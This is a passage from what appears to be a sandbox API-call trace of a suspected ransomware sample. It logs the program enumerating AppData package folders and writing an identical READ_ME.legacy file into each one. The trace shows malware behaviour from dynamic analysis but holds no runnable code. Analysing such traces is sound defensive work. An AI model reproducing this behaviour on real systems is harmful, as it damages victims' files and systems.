returned 0x2e41db0 [0137.405] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41db0 | out: hHeap=0x520000) returned 1 [0137.407] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.407] CloseHandle (hObject=0x744) returned 1 [0137.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6d38 | out: hHeap=0x520000) returned 1 [0137.408] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x556dcf4, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.BingSports_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.BIN")) returned 1 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0137.408] GetLastError () returned 0x0 [0137.408] SetLastError (dwErrCode=0x0) [0137.408] GetLastError () returned 0x0 [0137.408] SetLastError (dwErrCode=0x0) [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.408] GetLastError () returned 0x0 [0137.408] SetLastError (dwErrCode=0x0) [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e76b8 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6dd0 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0137.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0137.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.408] GetLastError () returned 0x0 [0137.409] SetLastError (dwErrCode=0x0) [0137.409] GetLastError () returned 0x0 [0137.409] SetLastError (dwErrCode=0x0) [0137.409] GetLastError () returned 0x0 [0137.409] SetLastError (dwErrCode=0x0) [0137.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41db0 [0137.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41db0 | out: hHeap=0x520000) returned 1 [0137.411] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.411] CloseHandle (hObject=0x744) returned 1 [0137.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0137.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6dd0 | out: hHeap=0x520000) returned 1 [0137.412] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x31f6a27, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.BingWeather_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.BIN")) returned 1 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0137.412] GetLastError () returned 0x0 [0137.412] SetLastError (dwErrCode=0x0) [0137.412] GetLastError () returned 0x0 [0137.412] SetLastError (dwErrCode=0x0) [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9088 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.412] GetLastError () returned 0x0 [0137.412] SetLastError (dwErrCode=0x0) [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7a88 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539ac0 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7dd0 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0137.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0137.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.412] GetLastError () returned 0x0 [0137.412] SetLastError (dwErrCode=0x0) [0137.413] GetLastError () returned 0x0 [0137.413] SetLastError (dwErrCode=0x0) [0137.413] GetLastError () returned 0x0 [0137.413] SetLastError (dwErrCode=0x0) [0137.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41c40 [0137.413] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.414] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41c40 | out: hHeap=0x520000) returned 1 [0137.414] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.415] CloseHandle (hObject=0x744) returned 1 [0137.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0137.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0137.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0137.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7dd0 | out: hHeap=0x520000) returned 1 [0137.415] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d0704ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7d17b532, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.BioEnrollment_cw5n1h2txyewy", cAlternateFileName="MICROS~1.BIO")) returned 1 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9088 | out: hHeap=0x520000) returned 1 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0137.416] GetLastError () returned 0x0 [0137.416] SetLastError (dwErrCode=0x0) [0137.416] GetLastError () returned 0x0 [0137.416] SetLastError (dwErrCode=0x0) [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.416] GetLastError () returned 0x0 [0137.416] SetLastError (dwErrCode=0x0) [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e81c0 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e77e8 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0137.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0137.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.416] GetLastError () returned 0x0 [0137.416] SetLastError (dwErrCode=0x0) [0137.416] GetLastError () returned 0x0 [0137.416] SetLastError (dwErrCode=0x0) [0137.417] GetLastError () returned 0x0 [0137.417] SetLastError (dwErrCode=0x0) [0137.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0137.417] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0137.471] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.472] CloseHandle (hObject=0x744) returned 1 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8b10 | out: hHeap=0x520000) returned 1 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0137.472] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x131e209, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.CommsPhone_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.COM")) returned 1 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0137.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0137.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0137.472] GetLastError () returned 0x0 [0137.472] SetLastError (dwErrCode=0x0) [0137.472] GetLastError () returned 0x0 [0137.472] SetLastError (dwErrCode=0x0) [0137.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0137.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.472] GetLastError () returned 0x0 [0137.472] SetLastError (dwErrCode=0x0) [0137.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d768 [0137.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0137.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0137.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7458 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b10 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0137.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.473] GetLastError () returned 0x0 [0137.473] SetLastError (dwErrCode=0x0) [0137.473] GetLastError () returned 0x0 [0137.473] SetLastError (dwErrCode=0x0) [0137.473] GetLastError () returned 0x0 [0137.473] SetLastError (dwErrCode=0x0) [0137.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41680 [0137.473] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.475] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41680 | out: hHeap=0x520000) returned 1 [0137.475] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.476] CloseHandle (hObject=0x744) returned 1 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0137.479] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xffc77b6a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.ConnectivityStore_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.CON")) returned 1 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0137.479] GetLastError () returned 0x0 [0137.479] SetLastError (dwErrCode=0x0) [0137.479] GetLastError () returned 0x0 [0137.479] SetLastError (dwErrCode=0x0) [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.479] GetLastError () returned 0x0 [0137.479] SetLastError (dwErrCode=0x0) [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x60fb30 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0137.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fb30 | out: hHeap=0x520000) returned 1 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e8310 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7e78 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0137.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0137.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0137.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0137.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0137.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.480] GetLastError () returned 0x0 [0137.480] SetLastError (dwErrCode=0x0) [0137.480] GetLastError () returned 0x0 [0137.480] SetLastError (dwErrCode=0x0) [0137.480] GetLastError () returned 0x0 [0137.480] SetLastError (dwErrCode=0x0) [0137.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0137.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0137.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0137.482] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0137.483] CloseHandle (hObject=0x744) returned 1 [0137.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0137.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0137.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0137.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e78 | out: hHeap=0x520000) returned 1 [0137.483] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767fb19c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.CredDialogHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CRE")) returned 1 [0137.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0137.484] GetLastError () returned 0x0 [0137.484] SetLastError (dwErrCode=0x0) [0137.484] GetLastError () returned 0x0 [0137.484] SetLastError (dwErrCode=0x0) [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0137.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0137.484] GetLastError () returned 0x0 [0137.484] SetLastError (dwErrCode=0x0) [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0137.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0137.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7dd0 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539610 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e85b0 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0137.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0137.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0137.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0137.485] HeapFree (in: hHeap=0x520000, 